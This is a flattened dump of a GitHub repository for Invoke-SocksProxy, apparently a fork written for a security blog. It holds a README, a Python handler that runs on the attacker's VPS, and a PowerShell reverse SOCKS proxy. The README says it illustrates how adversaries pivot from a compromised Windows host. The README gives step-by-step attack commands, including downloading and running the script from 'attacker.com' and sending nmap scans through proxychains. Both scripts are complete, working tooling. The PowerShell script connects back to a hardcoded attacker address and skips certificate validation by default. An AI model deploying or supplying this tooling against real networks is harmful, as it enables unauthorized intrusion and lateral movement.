├── images ├── 01.png ├── 02.png ├── 03.png └── 04.png ├── LICENSE ├── README.md ├── ReverseSocksProxyHandler.py └── Invoke-SocksProxy.ps1 /images/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tokyoneon/Invoke-SocksProxy/HEAD/images/01.png -------------------------------------------------------------------------------- /images/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tokyoneon/Invoke-SocksProxy/HEAD/images/02.png -------------------------------------------------------------------------------- /images/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tokyoneon/Invoke-SocksProxy/HEAD/images/03.png -------------------------------------------------------------------------------- /images/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tokyoneon/Invoke-SocksProxy/HEAD/images/04.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 p3nt4 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Invoke-SocksProxy is a PowerShell script designed to create reverse proxies. It illustrates one way adversaries use compromised Windows 10 hosts to pivot attacks into local networks. 2 | 3 | This repository is a fork of [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy), created for [Varonis](https://www.varonis.com/blog/author/tokyoneon/) by [@tokyoneon_](https://twitter.com/tokyoneon_). 4 | 5 | ### Usage 6 | 7 | For context and examples with crackmapexec, patator, smbclient, and firefox, review [the official publication](https://www.varonis.com/blog/author/tokyoneon/). 8 | 9 | Clone the repository on the attacker's VPS. 10 | ``` 11 | root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy 12 | ``` 13 | 14 | Start the reverse proxy handler. 15 | ``` 16 | root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py 17 | ``` 18 | 19 | ![](images/01.png) 20 | 21 | Change the [hardcoded VPS address in the PS1](https://github.com/tokyoneon/Invoke-SocksProxy/blob/master/Invoke-SocksProxy.ps1#L1) and host it on an HTTP server. Download it on the compromised Windows 10 workstation and execute. 22 | ``` 23 | Ps > cd $env:TEMP 24 | Ps > iwr attacker.com/Invoke-SocksProxy.ps1 -outfile isp.ps1 25 | Ps > .\isp.ps1 26 | ``` 27 | 28 | ![](images/02.png) 29 | 30 | Configure proxychains to use the VPS address. 31 | ``` 32 | sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf 33 | ``` 34 | 35 | ![](images/03.png) 36 | 37 | Proxy Nmap scans with proxychains. 38 | ``` 39 | proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115 40 | ``` 41 | 42 | ![](images/04.png) 43 | -------------------------------------------------------------------------------- /ReverseSocksProxyHandler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | import sys 5 | import thread 6 | import time 7 | import ssl 8 | import Queue 9 | import subprocess 10 | 11 | # attacker's listening port 12 | listenPort = "443" 13 | 14 | # port configured in /etc/proxychains4.conf 15 | proxyPort = "1337" 16 | 17 | certificate = "/tmp/cert.pem" 18 | privateKey = "/tmp/private.key" 19 | 20 | # generate new certificate and key 21 | subprocess.call("openssl req -newkey rsa:2048 -x509 -days 365 -nodes -subj '/CN=tokyoneon.github.io' -keyout " + privateKey + " -out " + certificate, shell=True) 22 | 23 | # generate sha1 fingerprint for Invoke-SocksProxy.ps1 script 24 | fingerprint = subprocess.check_output("openssl x509 -in " + certificate + " -noout -sha1 -fingerprint | sed 's/:\|SH.*t=//g'", shell=True) 25 | 26 | print("\ncertFingerprint: " + fingerprint) 27 | 28 | def main(listenPort,proxyPort,certificate,privateKey): 29 | thread.start_new_thread(server, (listenPort,proxyPort,certificate,privateKey)) 30 | while True: 31 | time.sleep(60) 32 | 33 | def handlerServer(q,listenPort,certificate,privateKey): 34 | context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) 35 | context.load_cert_chain(certificate,privateKey) 36 | try: 37 | dock_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | dock_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 39 | dock_socket.bind(('', int(listenPort))) 40 | dock_socket.listen(5) 41 | print("Incoming connections on: " + listenPort) 42 | while True: 43 | try: 44 | clear_socket, address = dock_socket.accept() 45 | client_socket = context.wrap_socket(clear_socket, server_side=True) 46 | pass 47 | try: 48 | data = "" 49 | while (data.count('\n')<3): 50 | data += client_socket.recv() 51 | client_socket.send("HTTP/1.1 200 OK\nContent-Length: 999999\nContent-Type: text/plain\nConnection: Keep-Alive\nKeep-Alive: timeout=20, max=10000\n\n") 52 | q.get(False) 53 | except Exception as e: 54 | pass 55 | q.put(client_socket) 56 | except Exception as e: 57 | print(e) 58 | pass 59 | while True: 60 | try: 61 | clear_socket, address = dock_socket.accept() 62 | client_socket = context.wrap_socket(clear_socket, server_side=True) 63 | print("Reverse Socks Connection Received: {}:{}".format(address[0],address[1])) 64 | try: 65 | data = "" 66 | while (data.count('\n')<3): 67 | data += client_socket.recv() 68 | client_socket.send("HTTP/1.1 200 OK\nContent-Length: 999999\nContent-Type: text/plain\nConnection: Keep-Alive\nKeep-Alive: timeout=20, max=10000\n\n") 69 | q.get(False) 70 | except Exception as e: 71 | pass 72 | q.put(client_socket) 73 | except Exception as e: 74 | print(e) 75 | pass 76 | except Exception as e: 77 | print(e) 78 | finally: 79 | dock_socket.close() 80 | 81 | def getActiveConnection(q): 82 | try: 83 | client_socket = q.get(block=True, timeout=10) 84 | except: 85 | print('No Reverse Socks connection found') 86 | return None 87 | try: 88 | client_socket.send("HELLO") 89 | except: 90 | return getActiveConnection(q) 91 | return client_socket 92 | 93 | def server(listenPort,proxyPort,certificate,privateKey): 94 | q = Queue.Queue() 95 | thread.start_new_thread(handlerServer, (q,listenPort,certificate,privateKey)) 96 | try: 97 | dock_socket2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 98 | dock_socket2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 99 | dock_socket2.bind(('0.0.0.0', int(proxyPort))) 100 | dock_socket2.listen(5) 101 | print("Configure Proxychains port to: " + proxyPort) 102 | while True: 103 | try: 104 | client_socket2, address = dock_socket2.accept() 105 | client_socket = getActiveConnection(q) 106 | if client_socket == None: 107 | client_socket2.close() 108 | thread.start_new_thread(forward, (client_socket, client_socket2)) 109 | thread.start_new_thread(forward, (client_socket2, client_socket)) 110 | except Exception as e: 111 | print(e) 112 | pass 113 | except Exception as e: 114 | print(e) 115 | finally: 116 | dock_socket2.close() 117 | 118 | def forward(source, destination): 119 | try: 120 | string = ' ' 121 | while string: 122 | string = source.recv(1024) 123 | if string: 124 | destination.sendall(string) 125 | else: 126 | source.shutdown(socket.SHUT_RD) 127 | destination.shutdown(socket.SHUT_WR) 128 | except: 129 | try: 130 | source.shutdown(socket.SHUT_RD) 131 | destination.shutdown(socket.SHUT_WR) 132 | except: 133 | pass 134 | pass 135 | 136 | if __name__ == '__main__': 137 | if len(sys.argv) < 0: 138 | print("Usage:{} ".format(sys.argv[0])) 139 | else: 140 | main(listenPort,proxyPort,certificate,privateKey) 141 | -------------------------------------------------------------------------------- /Invoke-SocksProxy.ps1: -------------------------------------------------------------------------------- 1 | # attacker's hardcoded vps address 2 | $vps = "192.168.56.102" 3 | 4 | # attacker's listening port 5 | $listenPort = 443 6 | 7 | # optional argument for validating the attacker's sha1 fingerprint 8 | # $certFingerprint = "" 9 | 10 | [ScriptBlock]$SocksConnectionMgr = { 11 | param($vars) 12 | $Script = { 13 | param($vars) 14 | $vars.inStream.CopyTo($vars.outStream) 15 | Exit 16 | } 17 | $rsp=$vars.rsp; 18 | function Get-IpAddress{ 19 | param($ip) 20 | IF ($ip -as [ipaddress]){ 21 | return $ip 22 | }else{ 23 | $ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString; 24 | } 25 | return $ip2 26 | } 27 | $client=$vars.cliConnection 28 | $buffer = New-Object System.Byte[] 32 29 | try 30 | { 31 | $cliStream = $vars.cliStream 32 | $cliStream.Read($buffer,0,2) | Out-Null 33 | $socksVer=$buffer[0] 34 | if ($socksVer -eq 5){ 35 | $cliStream.Read($buffer,2,$buffer[1]) | Out-Null 36 | for ($i=2; $i -le $buffer[1]+1; $i++) { 37 | if ($buffer[$i] -eq 0) {break} 38 | } 39 | if ($buffer[$i] -ne 0){ 40 | $buffer[1]=255 41 | $cliStream.Write($buffer,0,2) 42 | }else{ 43 | $buffer[1]=0 44 | $cliStream.Write($buffer,0,2) 45 | } 46 | $cliStream.Read($buffer,0,4) | Out-Null 47 | $cmd = $buffer[1] 48 | $atyp = $buffer[3] 49 | if($cmd -ne 1){ 50 | $buffer[1] = 7 51 | $cliStream.Write($buffer,0,2) 52 | throw "Not a connect" 53 | } 54 | if($atyp -eq 1){ 55 | $ipv4 = New-Object System.Byte[] 4 56 | $cliStream.Read($ipv4,0,4) | Out-Null 57 | $ipAddress = New-Object System.Net.IPAddress(,$ipv4) 58 | $hostName = $ipAddress.ToString() 59 | }elseif($atyp -eq 3){ 60 | $cliStream.Read($buffer,4,1) | Out-Null 61 | $hostBuff = New-Object System.Byte[] $buffer[4] 62 | $cliStream.Read($hostBuff,0,$buffer[4]) | Out-Null 63 | $hostName = [System.Text.Encoding]::ASCII.GetString($hostBuff) 64 | } 65 | else{ 66 | $buffer[1] = 8 67 | $cliStream.Write($buffer,0,2) 68 | throw "Not a valid destination address" 69 | } 70 | $cliStream.Read($buffer,4,2) | Out-Null 71 | $destPort = $buffer[4]*256 + $buffer[5] 72 | $destHost = Get-IpAddress($hostName) 73 | if($destHost -eq $null){ 74 | $buffer[1]=4 75 | $cliStream.Write($buffer,0,2) 76 | throw "Cant resolve destination address" 77 | } 78 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort) 79 | if($tmpServ.Connected){ 80 | $buffer[1]=0 81 | $buffer[3]=1 82 | $buffer[4]=0 83 | $buffer[5]=0 84 | $cliStream.Write($buffer,0,10) 85 | $cliStream.Flush() 86 | $srvStream = $tmpServ.GetStream() 87 | $AsyncJobResult2 = $srvStream.CopyToAsync($cliStream) 88 | $AsyncJobResult = $cliStream.CopyToAsync($srvStream) 89 | $AsyncJobResult.AsyncWaitHandle.WaitOne(); 90 | $AsyncJobResult2.AsyncWaitHandle.WaitOne(); 91 | 92 | } 93 | else{ 94 | $buffer[1]=4 95 | $cliStream.Write($buffer,0,2) 96 | throw "Cant connect to host" 97 | } 98 | }elseif($socksVer -eq 4){ 99 | $cmd = $buffer[1] 100 | if($cmd -ne 1){ 101 | $buffer[0] = 0 102 | $buffer[1] = 91 103 | $cliStream.Write($buffer,0,2) 104 | throw "Not a connect" 105 | } 106 | $cliStream.Read($buffer,2,2) | Out-Null 107 | $destPort = $buffer[2]*256 + $buffer[3] 108 | $ipv4 = New-Object System.Byte[] 4 109 | $cliStream.Read($ipv4,0,4) | Out-Null 110 | $destHost = New-Object System.Net.IPAddress(,$ipv4) 111 | $buffer[0]=1 112 | while ($buffer[0] -ne 0){ 113 | $cliStream.Read($buffer,0,1) 114 | } 115 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort) 116 | 117 | if($tmpServ.Connected){ 118 | $buffer[0]=0 119 | $buffer[1]=90 120 | $buffer[2]=0 121 | $buffer[3]=0 122 | $cliStream.Write($buffer,0,8) 123 | $cliStream.Flush() 124 | $srvStream = $tmpServ.GetStream() 125 | $AsyncJobResult2 = $srvStream.CopyToAsync($cliStream) 126 | $AsyncJobResult = $cliStream.CopyTo($srvStream) 127 | $AsyncJobResult.AsyncWaitHandle.WaitOne(); 128 | $AsyncJobResult2.AsyncWaitHandle.WaitOne(); 129 | } 130 | }else{ 131 | throw "Unknown socks version" 132 | } 133 | } 134 | catch { 135 | #$_ >> "error.log" 136 | } 137 | finally { 138 | if ($client -ne $null) { 139 | $client.Dispose() 140 | } 141 | if ($tmpServ -ne $null) { 142 | $tmpServ.Dispose() 143 | } 144 | Exit; 145 | } 146 | } 147 | 148 | function Invoke-ReverseSocksProxy{ 149 | param ( 150 | 151 | [Switch]$useSystemProxy = $false, 152 | 153 | [String]$certFingerprint = "", 154 | 155 | [Int]$threads = 200, 156 | 157 | [Int]$maxRetries = 0 158 | 159 | ) 160 | try{ 161 | $currentTry = 0; 162 | $rsp = [runspacefactory]::CreateRunspacePool(1,$threads); 163 | $rsp.CleanupInterval = New-TimeSpan -Seconds 30; 164 | $rsp.open(); 165 | while($true){ 166 | try{ 167 | if($useSystemProxy -eq $false){ 168 | $client = New-Object System.Net.Sockets.TcpClient($vps, $listenPort) 169 | $cliStream_clear = $client.GetStream() 170 | }else{ 171 | $ret = getProxyConnection -vps $vps -listenPort $listenPort 172 | $client = $ret[0] 173 | $cliStream_clear = $ret[1] 174 | } 175 | if($certFingerprint -eq ''){ 176 | $cliStream = New-Object System.Net.Security.SslStream($cliStream_clear,$false,({$true} -as[Net.Security.RemoteCertificateValidationCallback])); 177 | }else{ 178 | $cliStream = New-Object System.Net.Security.SslStream($cliStream_clear,$false,({return $args[1].GetCertHashString() -eq $certFingerprint } -as[Net.Security.RemoteCertificateValidationCallback])); 179 | } 180 | $cliStream.AuthenticateAsClient($vps) 181 | $currentTry = 0; 182 | $buffer = New-Object System.Byte[] 32 183 | $buffer2 = New-Object System.Byte[] 122 184 | $FakeRequest = [System.Text.Encoding]::Default.GetBytes("GET / HTTP/1.1`nHost: "+$vps+"`n`n") 185 | $cliStream.Write($FakeRequest,0,$FakeRequest.Length) 186 | $cliStream.ReadTimeout = 5000 187 | $cliStream.Read($buffer2,0,122) | Out-Null 188 | $cliStream.Read($buffer,0,5) | Out-Null 189 | $message = [System.Text.Encoding]::ASCII.GetString($buffer) 190 | if($message -ne "HELLO"){ 191 | throw "No Client connected"; 192 | } 193 | $cliStream.ReadTimeout = 100000; 194 | $vars = [PSCustomObject]@{"cliConnection"=$client; "rsp"=$rsp; "cliStream" = $cliStream} 195 | $PS3 = [PowerShell]::Create() 196 | $PS3.RunspacePool = $rsp; 197 | $PS3.AddScript($SocksConnectionMgr).AddArgument($vars) | Out-Null 198 | $PS3.BeginInvoke() | Out-Null 199 | }catch{ 200 | $currentTry = $currentTry + 1; 201 | if (($maxRetries -ne 0) -and ($currentTry -eq $maxRetries)){ 202 | Throw "Cannot connect to handler, max Number of attempts reached, exiting"; 203 | } 204 | if ($_.Exception.message -eq 'Exception calling "AuthenticateAsClient" with "1" argument(s): "The remote certificate is invalid according to the validation procedure."'){ 205 | throw $_ 206 | } 207 | if ($_.Exception.message -eq 'Exception calling "AuthenticateAsClient" with "1" argument(s): "Authentication failed because the remote party has closed the transport stream."'){ 208 | sleep 5 209 | } 210 | 211 | if (($_.Exception.Message.Length -ge 121) -and $_.Exception.Message.substring(0,120) -eq 'Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine actively refused'){ 212 | sleep 5 213 | } 214 | try{ 215 | $client.Close() 216 | $client.Dispose() 217 | }catch{} 218 | sleep -Milliseconds 200 219 | } 220 | } 221 | } 222 | catch{ 223 | throw $_; 224 | } 225 | finally{ 226 | if ($client -ne $null) { 227 | $client.Dispose() 228 | $client = $null 229 | } 230 | if ($PS3 -ne $null -and $AsyncJobResult3 -ne $null) { 231 | $PS3.EndInvoke($AsyncJobResult3) | Out-Null 232 | $PS3.Runspace.Close() 233 | $PS3.Dispose() 234 | } 235 | } 236 | } 237 | 238 | Invoke-ReverseSocksProxy 239 | --------------------------------------------------------------------------------